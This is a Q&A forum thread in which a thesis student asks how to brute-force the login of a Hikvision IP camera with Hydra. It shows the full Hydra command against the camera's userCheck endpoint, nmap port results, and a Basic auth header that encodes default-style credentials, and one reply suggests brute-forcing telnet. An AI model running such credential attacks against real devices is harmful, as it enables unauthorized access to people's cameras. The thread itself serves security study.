I am new to stackexchange. I desperately need some help. I am doing my thesis on 'IoT Threats', one of my objectives is to try to brute force into an IP camera. I am using Kali Linux Hydra to do the brute force, however I have not been successful in completing this, I know the method I am using is not the correct one, I think, I don't know :(

All the examples I have looked shows only how to do a brute force for the extension .php?. The login page of the IP camera I am testing however is in .asp , and I do not see any <form> in the source code of the login.asp page. The login url created when you visit http://192.168.1.3:85 is

http://192.168.1.3:85/doc/page/login.asp?_1503752871126

(GET method is used, checked via Wireshark, HTTP requests to /PSIA/Custom/SelfExt/userCheck)

I need your help with the below:

  1. Can I use brute force using hydra for .asp ?
  2. If yes how does the command look like ? I used

hydra -l admin -P wordlist.txt 192.168.1.3 -s 85 http-form-get '/PSIA/Custom/SelfExt/userCheck:lausername=^USER^&lapassword=^PASS^:User name or password is incorrect:H=Authorization: Basic YWRtaW46QkM1MUZFOTUyRkI3' -V

  1. If not how can I get access to this IP camera like a cracker?

Other Information nmap: OPEN PORTS:

  • 23 - telnet BusyBox telnetd,
  • 85 - http Hikvision IP camera httpd,
  • 443 - ssl/http Hikvision IP camera httpd,
  • 554 - rtsp Hikvision 7513 POE IP camera rtspd,
  • 7001 - afs3-callback?,8000 - http-alt?,
  • 8200 - trivnet1?

kindly advise.

  • Well, can you use your login on the telnet port? If it lets you in, you know you can brute that service instead. – user2497 Aug 28 '17 at 11:45

"All the examples I have looked shows only how to do a brute force for the extension .php?. The login page of the IP camera I am testing however is in .asp"

extension of .php vs .asp should not matter.

I do not see any <form> in the source code of the login.asp page.

how did you come up with the URL /PSIA/Custom/SelfExt.... etc?

hydra -l admin -P wordlist.txt 192.168.1.3 -s 85 http-form-get '/PSIA/Custom/SelfExt/userCheck:lausername=^USER^&lapassword=^PASS^:User name or password is incorrect:H=Authorization: Basic YWRtaW46QkM1MUZFOTUyRkI3' -V

You appear to be using a mix of Forms based authentication and Basic Authentication with this command. Also, you have expectations for two variables to be filled in with ^USER^ and ^PASS^ and are only supplying one variable as the file wordlist.txt just has one field. How did you determine that this login is using Basic AUTH? Does the basic auth pop up when you try to log in from login.asp?

  • I was able to see /PSIA/Custom/SelfExt/userCheck when I captured the data via wireshark after I logged in. Noticed that the request is send to the above link via GET. I saw 'Authentication: Basic YWRtaW46YWRtaW4=' on via shark. So I assumed it is basic authentication. @mcgyver5 – Wild Ace Aug 30 '17 at 12:05
  • What should I change or add in the hydra command? is there anything specific that you want me to look for? let me know, please @mcgyver5 – Wild Ace Aug 30 '17 at 12:37

Your Answer

 

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.